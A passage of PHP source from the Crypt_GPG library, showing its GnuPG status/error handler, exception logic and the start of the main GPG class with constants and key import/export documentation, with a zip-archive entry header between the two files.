    /**
     * The number of currently needed passphrases
     *
     * If this is not zero when the GPG command is completed, the error code is
     * set to {@link Crypt_GPG::ERROR_MISSING_PASSPHRASE}.
     *
     * @var int
     */
    protected $needPassphrase = 0;

    /**
     * Some data collected while processing the operation
     * or set for the operation
     *
     * @var array
     * @see self::setData()
     * @see self::getData()
     */
    protected $data = array();

    /**
     * The name of the current operation
     *
     * @var string
     * @see self::setOperation()
     */
    protected $operation = null;

    /**
     * The value of the argument of current operation
     *
     * @var string
     * @see self::setOperation()
     */
    protected $operationArg = null;

    /**
     * Creates a new instance
     *
     * @param Crypt_GPG_Engine $engine Engine object
     */
    public function __construct($engine)
    {
        $this->engine = $engine;
    }

    /**
     * Sets the operation that is being performed by the engine.
     *
     * @param string $operation The GPG operation to perform.
     *
     * @return void
     */
    public function setOperation($operation)
    {
        $op    = null;
        $opArg = null;

        // Regexp matching all GPG "operational" arguments
        $regexp = '/--('
            . 'version|import|list-public-keys|list-secret-keys'
            . '|list-keys|delete-key|delete-secret-key|encrypt|sign|clearsign'
            . '|detach-sign|decrypt|verify|export-secret-keys|export|gen-key'
            . ')/';

        if (strpos($operation, ' ') === false) {
            $op = trim($operation, '- ');
        } else if (preg_match($regexp, $operation, $matches, PREG_OFFSET_CAPTURE)) {
            $op      = trim($matches[0][0], '-');
            $op_len  = $matches[0][1] + mb_strlen($op, '8bit') + 3;
            $command = mb_substr($operation, $op_len, null, '8bit');

            // we really need the argument if it is a key ID/fingerprint or email
            // address se we can use simplified regexp to "revert escapeshellarg()"
            if (preg_match('/^[\'"]([a-zA-Z0-9:@._-]+)[\'"]/', $command, $matches)) {
                $opArg = $matches[1];
            }
        }

        $this->operation        = $op;
        $this->operationArg     = $opArg;
        $this->data['Warnings'] = array();
    }

    /**
     * Handles error values in the status output from GPG
     *
     * This method is responsible for setting the
     * {@link self::$errorCode}. See <b>doc/DETAILS</b> in the
     * {@link http://www.gnupg.org/download/ GPG distribution} for detailed
     * information on GPG's status output.
     *
     * @param string $line the status line to handle.
     *
     * @return void
     */
    public function handleStatus($line)
    {
        $tokens = explode(' ', $line);
        switch ($tokens[0]) {
        case 'NODATA':
            $this->errorCode = Crypt_GPG::ERROR_NO_DATA;
            break;

        case 'DECRYPTION_OKAY':
            // If the message is encrypted, this is the all-clear signal.
            $this->data['DecryptionOkay'] = true;
            $this->errorCode = Crypt_GPG::ERROR_NONE;
            break;

        case 'DELETE_PROBLEM':
            if ($tokens[1] == '1') {
                $this->errorCode = Crypt_GPG::ERROR_KEY_NOT_FOUND;
                break;
            } elseif ($tokens[1] == '2') {
                $this->errorCode = Crypt_GPG::ERROR_DELETE_PRIVATE_KEY;
                break;
            }
            break;

        case 'IMPORT_OK':
            $this->data['Import']['fingerprint'] = $tokens[2];

            if (empty($this->data['Import']['fingerprints'])) {
                $this->data['Import']['fingerprints'] = array($tokens[2]);
            } else if (!in_array($tokens[2], $this->data['Import']['fingerprints'])) {
                $this->data['Import']['fingerprints'][] = $tokens[2];
            }

            break;

        case 'IMPORT_RES':
            $this->data['Import']['public_imported']   = intval($tokens[3]);
            $this->data['Import']['public_unchanged']  = intval($tokens[5]);
            $this->data['Import']['private_imported']  = intval($tokens[11]);
            $this->data['Import']['private_unchanged'] = intval($tokens[12]);
            break;

        case 'NO_PUBKEY':
        case 'NO_SECKEY':
            $this->data['ErrorKeyId'] = $tokens[1];

            if ($this->errorCode != Crypt_GPG::ERROR_MISSING_PASSPHRASE
                && $this->errorCode != Crypt_GPG::ERROR_BAD_PASSPHRASE
                && !(
                    $this->operation == 'decrypt'
                    && $tokens[0] == 'NO_PUBKEY'
                    && !empty($this->data['IgnoreVerifyErrors'])
                )
            ) {
                $this->errorCode = Crypt_GPG::ERROR_KEY_NOT_FOUND;
            }

            // note: this message is also received if there are multiple
            // recipients and a previous key had a correct passphrase.
            $this->data['MissingKeys'][$tokens[1]] = $tokens[1];

            // @FIXME: remove missing passphrase registered in ENC_TO handler
            //         This is for GnuPG 2.1
            unset($this->data['MissingPassphrases'][$tokens[1]]);
            break;

        case 'KEY_CONSIDERED':
            // In GnuPG 2.1.x exporting/importing a secret key requires passphrase
            // However, no NEED_PASSPRASE is returned, https://bugs.gnupg.org/gnupg/issue2667
            // So, handling KEY_CONSIDERED and GET_HIDDEN is needed.
            if (!array_key_exists('KeyConsidered', $this->data)) {
                $this->data['KeyConsidered'] = $tokens[1];
            }
            break;

        case 'USERID_HINT':
            // remember the user id for pretty exception messages
            // GnuPG 2.1.15 gives me: "USERID_HINT 0000000000000000 [?]"
            $keyId = $tokens[1];
            if (preg_match('/[1-9A-F]/', $keyId)) {
                $username = implode(' ', array_splice($tokens, 2));
                $this->data['BadPassphrases'][$keyId] = $username;
            }
            break;

        case 'ENC_TO':
            // Now we know the message is encrypted. Set flag to check if
            // decryption succeeded.
            $this->data['DecryptionOkay'] = false;

            // this is the new key message
            $this->data['CurrentSubKeyId'] = $keyId = $tokens[1];

            // For some reason in GnuPG 2.1.11 I get only ENC_TO and no
            // NEED_PASSPHRASE/MISSING_PASSPHRASE/USERID_HINT
            // This is not needed for GnuPG 2.1.15
            if (!empty($_ENV['PINENTRY_USER_DATA'])) {
                $passphrases = json_decode($_ENV['PINENTRY_USER_DATA'], true);
            } else {
                $passphrases = array();
            }

            // @TODO: Get user name/email
            $this->data['BadPassphrases'][$keyId] = $keyId;
            if (empty($passphrases) || empty($passphrases[$keyId])) {
                $this->data['MissingPassphrases'][$keyId] = $keyId;
            }
            break;

        case 'GOOD_PASSPHRASE':
            // if we got a good passphrase, remove the key from the list of
            // bad passphrases.
            if (isset($this->data['CurrentSubKeyId'])) {
                unset($this->data['BadPassphrases'][$this->data['CurrentSubKeyId']]);
                unset($this->data['MissingPassphrases'][$this->data['CurrentSubKeyId']]);
            }

            $this->needPassphrase--;
            break;

        case 'BAD_PASSPHRASE':
            $this->errorCode = Crypt_GPG::ERROR_BAD_PASSPHRASE;
            break;

        case 'MISSING_PASSPHRASE':
            if (isset($this->data['CurrentSubKeyId'])) {
                $this->data['MissingPassphrases'][$this->data['CurrentSubKeyId']]
                    = $this->data['CurrentSubKeyId'];
            }

            $this->errorCode = Crypt_GPG::ERROR_MISSING_PASSPHRASE;
            break;

        case 'GET_HIDDEN':
            if ($tokens[1] == 'passphrase.enter' && isset($this->data['KeyConsidered'])) {
                $tokens[1] = $this->data['KeyConsidered'];
            } else {
                break;
            }
            // no break

        case 'NEED_PASSPHRASE':
            $passphrase = $this->getPin($tokens[1]);

            $this->engine->sendCommand($passphrase);

            if ($passphrase === '') {
                $this->needPassphrase++;
            }
            break;

        case 'SIG_CREATED':
            $this->data['SigCreated'] = $line;
            break;

        case 'SIG_ID':
            // note: signature id comes before new signature line and may not
            // exist for some signature types
            $this->data['SignatureId'] = $tokens[1];
            break;

        case 'EXPSIG':
        case 'EXPKEYSIG':
        case 'REVKEYSIG':
        case 'BADSIG':
        case 'ERRSIG':
            $this->errorCode = Crypt_GPG::ERROR_BAD_SIGNATURE;
            // no break
        case 'GOODSIG':
            $signature = new Crypt_GPG_Signature();

            // if there was a signature id, set it on the new signature
            if (!empty($this->data['SignatureId'])) {
                $signature->setId($this->data['SignatureId']);
                $this->data['SignatureId'] = '';
            }

            // Detect whether fingerprint or key id was returned and set
            // signature values appropriately. Key ids are strings of either
            // 16 or 8 hexadecimal characters. Fingerprints are strings of 40
            // hexadecimal characters. The key id is the last 16 characters of
            // the key fingerprint.
            if (mb_strlen($tokens[1], '8bit') > 16) {
                $signature->setKeyFingerprint($tokens[1]);
                $signature->setKeyId(mb_substr($tokens[1], -16, null, '8bit'));
            } else {
                $signature->setKeyId($tokens[1]);
            }

            // get user id string
            if ($tokens[0] != 'ERRSIG') {
                $string = implode(' ', array_splice($tokens, 2));
                $string = rawurldecode($string);

                $signature->setUserId(Crypt_GPG_UserId::parse($string));
            }

            $this->data['Signatures'][] = $signature;
            break;

        case 'VALIDSIG':
            if (empty($this->data['Signatures'])) {
                break;
            }

            $signature = end($this->data['Signatures']);

            $signature->setValid(true);
            $signature->setKeyFingerprint($tokens[1]);

            if (strpos($tokens[3], 'T') === false) {
                $signature->setCreationDate($tokens[3]);
            } else {
                $signature->setCreationDate(strtotime($tokens[3]));
            }

            if (array_key_exists(4, $tokens)) {
                if (strpos($tokens[4], 'T') === false) {
                    $signature->setExpirationDate($tokens[4]);
                } else {
                    $signature->setExpirationDate(strtotime($tokens[4]));
                }
            }

            break;

        case 'KEY_CREATED':
            if (isset($this->data['Handle']) && $tokens[3] == $this->data['Handle']) {
                $this->data['KeyCreated'] = $tokens[2];
            }
            break;

        case 'KEY_NOT_CREATED':
            if (isset($this->data['Handle']) && $tokens[1] == $this->data['Handle']) {
                $this->errorCode = Crypt_GPG::ERROR_KEY_NOT_CREATED;
            }
            break;

        case 'PROGRESS':
            // todo: at some point, support reporting status async
            break;

        // GnuPG 2.1 uses FAILURE and ERROR responses
        case 'FAILURE':
        case 'ERROR':
            $errnum  = (int) $tokens[2];
            $source  = $errnum >> 24;
            $errcode = $errnum & 0xFFFFFF;

            switch ($errcode) {
            case 11: // bad passphrase
            case 87: // bad PIN
                $this->errorCode = Crypt_GPG::ERROR_BAD_PASSPHRASE;
                break;

            case 177: // no passphrase
            case 178: // no PIN
                $this->errorCode = Crypt_GPG::ERROR_MISSING_PASSPHRASE;
                break;

            case 58:
                $this->errorCode = Crypt_GPG::ERROR_NO_DATA;
                break;
            }

            break;
        }
    }

    /**
     * Handles error values in the error output from GPG
     *
     * This method is responsible for setting the
     * {@link Crypt_GPG_Engine::$_errorCode}.
     *
     * @param string $line the error line to handle.
     *
     * @return void
     */
    public function handleError($line)
    {
        if (stripos($line, 'gpg: WARNING: ') !== false) {
            $this->data['Warnings'][] = substr($line, 14);
        }

        if ($this->errorCode !== Crypt_GPG::ERROR_NONE) {
            return;
        }

        $pattern = '/no valid OpenPGP data found/';
        if (preg_match($pattern, $line) === 1) {
            $this->errorCode = Crypt_GPG::ERROR_NO_DATA;
            return;
        }

        $pattern = '/No secret key|secret key not available/';
        if (preg_match($pattern, $line) === 1) {
            $this->errorCode = Crypt_GPG::ERROR_KEY_NOT_FOUND;
            return;
        }

        $pattern = '/No public key|public key not found/';
        if (preg_match($pattern, $line) === 1) {
            if ($this->operation == 'decrypt' && !empty($this->data['IgnoreVerifyErrors'])) {
                return;
            }

            $this->errorCode = Crypt_GPG::ERROR_KEY_NOT_FOUND;
            return;
        }

        $pattern = '/can\'t (?:access|open) `(.*?)\'/';
        if (preg_match($pattern, $line, $matches) === 1) {
            $this->data['ErrorFilename'] = $matches[1];
            $this->errorCode = Crypt_GPG::ERROR_FILE_PERMISSIONS;
            return;
        }

        // GnuPG 2.1: It should return MISSING_PASSPHRASE, but it does not
        // we have to detect it this way. This happens e.g. on private key import
        $pattern = '/key ([0-9A-F]+).* (Bad|No) passphrase/';
        if (preg_match($pattern, $line, $matches) === 1) {
            $keyId = $matches[1];
            // @TODO: Get user name/email
            if (empty($this->data['BadPassphrases'][$keyId])) {
                $this->data['BadPassphrases'][$keyId] = $keyId;
            }

            if ($matches[2] == 'Bad') {
                $this->errorCode = Crypt_GPG::ERROR_BAD_PASSPHRASE;
            } else {
                $this->errorCode = Crypt_GPG::ERROR_MISSING_PASSPHRASE;
                if (empty($this->data['MissingPassphrases'][$keyId])) {
                    $this->data['MissingPassphrases'][$keyId] = $keyId;
                }
            }

            return;
        }

        if ($this->operation == 'gen-key') {
            $pattern = '/:([0-9]+): invalid algorithm$/';
            if (preg_match($pattern, $line, $matches) === 1) {
                $this->errorCode          = Crypt_GPG::ERROR_BAD_KEY_PARAMS;
                $this->data['LineNumber'] = intval($matches[1]);
            }
        }
    }

    /**
     * On error throws exception
     *
     * @param int $exitcode GPG process exit code
     *
     * @return void
     * @throws Crypt_GPG_Exception
     */
    public function throwException($exitcode = 0)
    {
        if ($exitcode > 0 && $this->errorCode === Crypt_GPG::ERROR_NONE) {
            $this->errorCode = $this->setErrorCode($exitcode);
        }

        if ($this->errorCode === Crypt_GPG::ERROR_NONE) {
            return;
        }

        $code = $this->errorCode;
        $note = "Please use the 'debug' option when creating the Crypt_GPG " .
            "object, and file a bug report at " . Crypt_GPG::BUG_URI;

        switch ($this->operation) {
        case 'version':
            throw new Crypt_GPG_Exception(
                'Unknown error getting GnuPG version information. ' . $note,
                $code
            );

        case 'list-secret-keys':
        case 'list-public-keys':
        case 'list-keys':
            switch ($code) {
            case Crypt_GPG::ERROR_KEY_NOT_FOUND:
                // ignore not found key errors
                break;

            case Crypt_GPG::ERROR_FILE_PERMISSIONS:
                if (!empty($this->data['ErrorFilename'])) {
                    throw new Crypt_GPG_FileException(
                        sprintf(
                            'Error reading GnuPG data file \'%s\'. Check to make ' .
                            'sure it is readable by the current user.',
                            $this->data['ErrorFilename']
                        ),
                        $code,
                        $this->data['ErrorFilename']
                    );
                }
                throw new Crypt_GPG_FileException(
                    'Error reading GnuPG data file. Check to make sure that ' .
                    'GnuPG data files are readable by the current user.',
                    $code
                );

            default:
                throw new Crypt_GPG_Exception(
                    'Unknown error getting keys. ' . $note, $code
                );
            }
            break;

        case 'delete-key':
        case 'delete-secret-key':
            switch ($code) {
            case Crypt_GPG::ERROR_KEY_NOT_FOUND:
                throw new Crypt_GPG_KeyNotFoundException(
                    'Key not found: ' . $this->operationArg,
                    $code,
                    $this->operationArg
                );

            case Crypt_GPG::ERROR_DELETE_PRIVATE_KEY:
                throw new Crypt_GPG_DeletePrivateKeyException(
                    'Private key must be deleted before public key can be ' .
                    'deleted.',
                    $code,
                    $this->operationArg
                );

            default:
                throw new Crypt_GPG_Exception(
                    'Unknown error deleting key. ' . $note, $code
                );
            }
            break; // @phpstan-ignore-line

        case 'import':
            switch ($code) {
            case Crypt_GPG::ERROR_NO_DATA:
                throw new Crypt_GPG_NoDataException(
                    'No valid GPG key data found.', $code
                );

            case Crypt_GPG::ERROR_BAD_PASSPHRASE:
            case Crypt_GPG::ERROR_MISSING_PASSPHRASE:
                throw $this->badPassException($code, 'Cannot import private key.');

            default:
                throw new Crypt_GPG_Exception(
                    'Unknown error importing GPG key. ' . $note, $code
                );
            }
            break; // @phpstan-ignore-line

        case 'export':
        case 'export-secret-keys':
            switch ($code) {
            case Crypt_GPG::ERROR_BAD_PASSPHRASE:
            case Crypt_GPG::ERROR_MISSING_PASSPHRASE:
                throw $this->badPassException($code, 'Cannot export private key.');

            default:
                throw new Crypt_GPG_Exception(
                    'Unknown error exporting a key. ' . $note, $code
                );
            }
            break; // @phpstan-ignore-line

        case 'encrypt':
        case 'sign':
        case 'clearsign':
        case 'detach-sign':
            switch ($code) {
            case Crypt_GPG::ERROR_KEY_NOT_FOUND:
                throw new Crypt_GPG_KeyNotFoundException(
                    'Cannot sign data. Private key not found. Import the '.
                    'private key before trying to sign data.',
                    $code,
                    !empty($this->data['ErrorKeyId']) ? $this->data['ErrorKeyId'] : null
                );

            case Crypt_GPG::ERROR_BAD_PASSPHRASE:
                throw new Crypt_GPG_BadPassphraseException(
                    'Cannot sign data. Incorrect passphrase provided.', $code
                );

            case Crypt_GPG::ERROR_MISSING_PASSPHRASE:
                throw new Crypt_GPG_BadPassphraseException(
                    'Cannot sign data. No passphrase provided.', $code
                );

            default:
                throw new Crypt_GPG_Exception(
                    "Unknown error {$this->operation}ing data. $note", $code
                );
            }
            break; // @phpstan-ignore-line

        case 'verify':
            switch ($code) {
            case Crypt_GPG::ERROR_BAD_SIGNATURE:
                // ignore bad signature errors
                break;

            case Crypt_GPG::ERROR_NO_DATA:
                throw new Crypt_GPG_NoDataException(
                    'No valid signature data found.', $code
                );

            case Crypt_GPG::ERROR_KEY_NOT_FOUND:
                throw new Crypt_GPG_KeyNotFoundException(
                    'Public key required for data verification not in keyring.',
                    $code,
                    !empty($this->data['ErrorKeyId']) ? $this->data['ErrorKeyId'] : null
                );

            default:
                throw new Crypt_GPG_Exception(
                    'Unknown error validating signature details. ' . $note,
                    $code
                );
            }
            break;

        case 'decrypt':
            switch ($code) {
            case Crypt_GPG::ERROR_BAD_SIGNATURE:
                // ignore bad signature errors
                break;

            case Crypt_GPG::ERROR_KEY_NOT_FOUND:
                if (!empty($this->data['MissingKeys'])) {
                    $keyId = reset($this->data['MissingKeys']);
                } else {
                    $keyId = '';
                }

                throw new Crypt_GPG_KeyNotFoundException(
                    'Cannot decrypt data. No suitable private key is in the ' .
                    'keyring. Import a suitable private key before trying to ' .
                    'decrypt this data.',
                    $code,
                    $keyId
                );

            case Crypt_GPG::ERROR_BAD_PASSPHRASE:
            case Crypt_GPG::ERROR_MISSING_PASSPHRASE:
                throw $this->badPassException($code, 'Cannot decrypt data.');

            case Crypt_GPG::ERROR_NO_DATA:
                throw new Crypt_GPG_NoDataException(
                    'Cannot decrypt data. No PGP encrypted data was found in '.
                    'the provided data.',
                    $code
                );

            default:
                throw new Crypt_GPG_Exception(
                    'Unknown error decrypting data.', $code
                );
            }
            break;

        case 'gen-key':
            switch ($code) {
            case Crypt_GPG::ERROR_BAD_KEY_PARAMS:
                throw new Crypt_GPG_InvalidKeyParamsException(
                    'Invalid key algorithm specified.', $code
                );

            default:
                throw new Crypt_GPG_Exception(
                    'Unknown error generating key-pair. ' . $note, $code
                );
            }
        }
    }

    /**
     * Check exit code of the GPG operation.
     *
     * @param int $exitcode GPG process exit code
     *
     * @return int Internal error code
     */
    protected function setErrorCode($exitcode)
    {
        if ($this->needPassphrase > 0) {
            return Crypt_GPG::ERROR_MISSING_PASSPHRASE;
        }

        if ($this->operation == 'import') {
            return Crypt_GPG::ERROR_NONE;
        }

        if ($this->operation == 'decrypt' && !empty($this->data['DecryptionOkay'])) {
            if (!empty($this->data['IgnoreVerifyErrors'])) {
                return Crypt_GPG::ERROR_NONE;
            }
            if (!empty($this->data['MissingKeys'])) {
                return Crypt_GPG::ERROR_KEY_NOT_FOUND;
            }
        }

        return Crypt_GPG::ERROR_UNKNOWN;
    }

    /**
     * Get data from the last process execution.
     *
     * @param string $name Data element name:
     *                     - SigCreated: The last SIG_CREATED status.
     *                     - KeyConsidered: The last KEY_CONSIDERED status identifier.
     *                     - KeyCreated: The KEY_CREATED status (for specified Handle).
     *                     - Signatures: Signatures data from verification process.
     *                     - LineNumber: Number of the gen-key error line.
     *                     - Import: Result of IMPORT_OK/IMPORT_RES
     *                     - Warnings: An array of all collected GnuPG warnings
     *
     * @return mixed
     */
    public function getData($name)
    {
        return isset($this->data[$name]) ? $this->data[$name] : null;
    }

    /**
     * Set data for the process execution.
     *
     * @param string $name  Data element name:
     *                      - Handle: The unique key handle used by this handler
     *                      The key handle is used to track GPG status output
     *                      for a particular key on --gen-key command before
     *                      the key has its own identifier.
     *                      - IgnoreVerifyErrors: Do not throw exceptions
     *                      when signature verification failes because
     *                      of a missing public key.
     * @param mixed  $value Data element value
     *
     * @return void
     */
    public function setData($name, $value)
    {
        switch ($name) {
        case 'Handle':
            $this->data[$name] = strval($value);
            break;

        case 'IgnoreVerifyErrors':
            $this->data[$name] = (bool) $value;
            break;
        }
    }

    /**
     * Create Crypt_GPG_BadPassphraseException from operation data.
     *
     * @param int    $code    Error code
     * @param string $message Error message
     *
     * @return Crypt_GPG_BadPassphraseException
     */
    protected function badPassException($code, $message)
    {
        $badPassphrases = array_diff_key(
            isset($this->data['BadPassphrases']) ? $this->data['BadPassphrases'] : array(),
            isset($this->data['MissingPassphrases']) ? $this->data['MissingPassphrases'] : array()
        );

        $missingPassphrases = array_intersect_key(
            isset($this->data['BadPassphrases']) ? $this->data['BadPassphrases'] : array(),
            isset($this->data['MissingPassphrases']) ? $this->data['MissingPassphrases'] : array()
        );

        if (count($badPassphrases) > 0) {
            $message .= ' Incorrect passphrase provided for keys: "' .
                implode('", "', $badPassphrases) . '".';
        }
        if (count($missingPassphrases) > 0) {
            $message .= ' No passphrase provided for keys: "' .
                implode('", "', $missingPassphrases) . '".';
        }

        return new Crypt_GPG_BadPassphraseException(
            $message,
            $code,
            $badPassphrases,
            $missingPassphrases
        );
    }

    /**
     * Get registered passphrase for specified key.
     *
     * @param string $key Key identifier
     *
     * @return string Passphrase
     */
    protected function getPin($key)
    {
        $passphrase  = '';
        $keyIdLength = mb_strlen($key, '8bit');

        if ($keyIdLength && !empty($_ENV['PINENTRY_USER_DATA'])) {
            $passphrases = json_decode($_ENV['PINENTRY_USER_DATA'], true);
            foreach ($passphrases as $_keyId => $pass) {
                $keyId        = $key;
                $_keyIdLength = mb_strlen($_keyId, '8bit');

                // Get last X characters of key identifier to compare
                if ($keyIdLength < $_keyIdLength) {
                    $_keyId = mb_substr($_keyId, -$keyIdLength, null, '8bit');
                } else if ($keyIdLength > $_keyIdLength) {
                    $keyId = mb_substr($keyId, -$_keyIdLength, null, '8bit');
                }

                if ($_keyId === $keyId) {
                    $passphrase = $pass;
                    break;
                }
            }
        }

        return $passphrase;
    }
}
PK
h�\s�[&&#vendor/pear/crypt_gpg/Crypt/GPG.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Crypt_GPG is a package to use GPG from PHP
 *
 * This package provides an object oriented interface to GNU Privacy
 * Guard (GPG). It requires the GPG executable to be on the system.
 *
 * Though GPG can support symmetric-key cryptography, this package is intended
 * only to facilitate public-key cryptography.
 *
 * This file contains the main GPG class. The class in this file lets you
 * encrypt, decrypt, sign and verify data; import and delete keys; and perform
 * other useful GPG tasks.
 *
 * Example usage:
 * <code>
 * <?php
 * // encrypt some data
 * $gpg = new Crypt_GPG();
 * $gpg->addEncryptKey($mySecretKeyId);
 * $encryptedData = $gpg->encrypt($data);
 * ?>
 * </code>
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://pear.php.net/manual/en/package.encryption.crypt-gpg.php
 * @link      http://www.gnupg.org/
 */

/**
 * Base class for GPG methods
 */
require_once 'Crypt/GPGAbstract.php';

/**
 * GPG exception classes.
 */
require_once 'Crypt/GPG/Exceptions.php';

/**
 * A class to use GPG from PHP
 *
 * This class provides an object oriented interface to GNU Privacy Guard (GPG).
 *
 * Though GPG can support symmetric-key cryptography, this class is intended
 * only to facilitate public-key cryptography.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */
class Crypt_GPG extends Crypt_GPGAbstract
{
    /**
     * Signing mode for normal signing of data. The signed message will not
     * be readable without special software.
     *
     * This is the default signing mode.
     *
     * @see Crypt_GPG::sign()
     * @see Crypt_GPG::signFile()
     */
    const SIGN_MODE_NORMAL = 1;

    /**
     * Signing mode for clearsigning data. Clearsigned signatures are ASCII
     * armored data and are readable without special software. If the signed
     * message is unencrypted, the message will still be readable. The message
     * text will be in the original encoding.
     *
     * @see Crypt_GPG::sign()
     * @see Crypt_GPG::signFile()
     */
    const SIGN_MODE_CLEAR = 2;

    /**
     * Signing mode for creating a detached signature. When using detached
     * signatures, only the signature data is returned. The original message
     * text may be distributed separately from the signature data. This is
     * useful for miltipart/signed email messages as per
     * {@link http://www.ietf.org/rfc/rfc3156.txt RFC 3156}.
     *
     * @see Crypt_GPG::sign()
     * @see Crypt_GPG::signFile()
     */
    const SIGN_MODE_DETACHED = 3;

    /**
     * No formatting is performed.
     *
     * Example: C3BC615AD9C766E5A85C1F2716D27458B1BBA1C4
     *
     * @see Crypt_GPG::getFingerprint()
     */
    const FORMAT_NONE = 1;

    /**
     * Fingerprint is formatted in the format used by the GnuPG gpg command's
     * default output.
     *
     * Example: C3BC 615A D9C7 66E5 A85C  1F27 16D2 7458 B1BB A1C4
     *
     * @see Crypt_GPG::getFingerprint()
     */
    const FORMAT_CANONICAL = 2;

    /**
     * Fingerprint is formatted in the format used when displaying X.509
     * certificates
     *
     * Example: C3:BC:61:5A:D9:C7:66:E5:A8:5C:1F:27:16:D2:74:58:B1:BB:A1:C4
     *
     * @see Crypt_GPG::getFingerprint()
     */
    const FORMAT_X509 = 3;

    /**
     * Use to specify ASCII armored mode for returned data
     */
    const ARMOR_ASCII = true;

    /**
     * Use to specify binary mode for returned data
     */
    const ARMOR_BINARY = false;

    /**
     * Use to specify that line breaks in signed text should be normalized
     */
    const TEXT_NORMALIZED = true;

    /**
     * Use to specify that line breaks in signed text should not be normalized
     */
    const TEXT_RAW = false;

    /**
     * Keys used to encrypt
     *
     * The array is of the form:
     * <code>
     * array(
     *   $key_id => array(
     *     'fingerprint' => $fingerprint,
     *     'passphrase'  => null
     *   )
     * );
     * </code>
     *
     * @var array
     * @see Crypt_GPG::addEncryptKey()
     * @see Crypt_GPG::clearEncryptKeys()
     */
    protected $encryptKeys = array();

    /**
     * Keys used to decrypt
     *
     * The array is of the form:
     * <code>
     * array(
     *   $key_id => array(
     *     'fingerprint' => $fingerprint,
     *     'passphrase'  => $passphrase
     *   )
     * );
     * </code>
     *
     * @var array
     * @see Crypt_GPG::addSignKey()
     * @see Crypt_GPG::clearSignKeys()
     */
    protected $signKeys = array();

    /**
     * Keys used to sign
     *
     * The array is of the form:
     * <code>
     * array(
     *   $key_id => array(
     *     'fingerprint' => $fingerprint,
     *     'passphrase'  => $passphrase
     *   )
     * );
     * </code>
     *
     * @var array
     * @see Crypt_GPG::addDecryptKey()
     * @see Crypt_GPG::clearDecryptKeys()
     */
    protected $decryptKeys = array();

    /**
     * Passphrases used on import/export of private keys in GnuPG 2.1
     *
     * The array is of the form:
     * <code>
     * array($key_id => $passphrase);
     * </code>
     *
     * @var array
     * @see Crypt_GPG::addPassphrase()
     * @see Crypt_GPG::clearPassphrases()
     */
    protected $passphrases = array();

    /**
     * Imports a public or private key into the keyring
     *
     * Keys may be removed from the keyring using
     * {@link Crypt_GPG::deletePublicKey()} or
     * {@link Crypt_GPG::deletePrivateKey()}.
     *
     * @param string $data the key data to be imported.
     *
     * @return array an associative array containing the following elements:
     *               - <kbd>fingerprint</kbd>       - the fingerprint of the
     *                                                imported key,
     *               - <kbd>public_imported</kbd>   - the number of public
     *                                                keys imported,
     *               - <kbd>public_unchanged</kbd>  - the number of unchanged
     *                                                public keys,
     *               - <kbd>private_imported</kbd>  - the number of private
     *                                                keys imported,
     *               - <kbd>private_unchanged</kbd> - the number of unchanged
     *                                                private keys.
     *
     * @throws Crypt_GPG_NoDataException if the key data is missing or if the
     *         data is is not valid key data.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addPassphrase()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @see Crypt_GPG::addPassphrase()
     * @see Crypt_GPG::clearPassphrases()
     */
    public function importKey($data)
    {
        return $this->_importKey($data, false);
    }

    /**
     * Imports a public or private key file into the keyring
     *
     * Keys may be removed from the keyring using
     * {@link Crypt_GPG::deletePublicKey()} or
     * {@link Crypt_GPG::deletePrivateKey()}.
     *
     * @param string $filename the key file to be imported.
     *
     * @return array an associative array containing the following elements:
     *               - <kbd>fingerprint</kbd>       - the fingerprint of the
     *                                                imported key,
     *               - <kbd>public_imported</kbd>   - the number of public
     *                                                keys imported,
     *               - <kbd>public_unchanged</kbd>  - the number of unchanged
     *                                                public keys,
     *               - <kbd>private_imported</kbd>  - the number of private
     *                                                keys imported,
     *               - <kbd>private_unchanged</kbd> - the number of unchanged
     *                                                private keys.
     *                                                  private keys.
     *
     * @throws Crypt_GPG_NoDataException if the key data is missing or if the
     *         data is is not valid key data.
     *
     * @throws Crypt_GPG_FileException if the key file is not readable.
     *
     * @throws Crypt_GPG_BadPassphraseException if a required passphrase is
     *         incorrect or if a required passphrase is not specified. See
     *         {@link Crypt_GPG::addPassphrase()}.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function importKeyFile($filename)
    {
        return $this->_importKey($filename, true);
    }

    /**
     * Exports a private key from the keyring
     *
     * The exported key remains on the keyring. To delete the key, use
     * {@link Crypt_GPG::deletePrivateKey()}.
     *
     * If more than one key fingerprint is available for the specified
     * <kbd>$keyId</kbd> (for example, if you use a non-unique uid) only the
     * first private key is exported.
     *
     * @param string  $keyId either the full uid of the private key, the email
     *                       part of the uid of the private key or the key id of
     *                       the private key. For example,
     *                       "Test User (example) <test@example.com>",
     *                       "test@example.com" or a hexadecimal string.
     * @param bool    $armor optional. If true, ASCII armored data is returned;
     *                       otherwise, binary data is returned. Defaults to
     *                       true.
     *
     * @return string the private key data.
     *
     * @throws Crypt_GPG_KeyNotFoundException if a private key with the given
     *         <kbd>$keyId</kbd> is not found.
     *
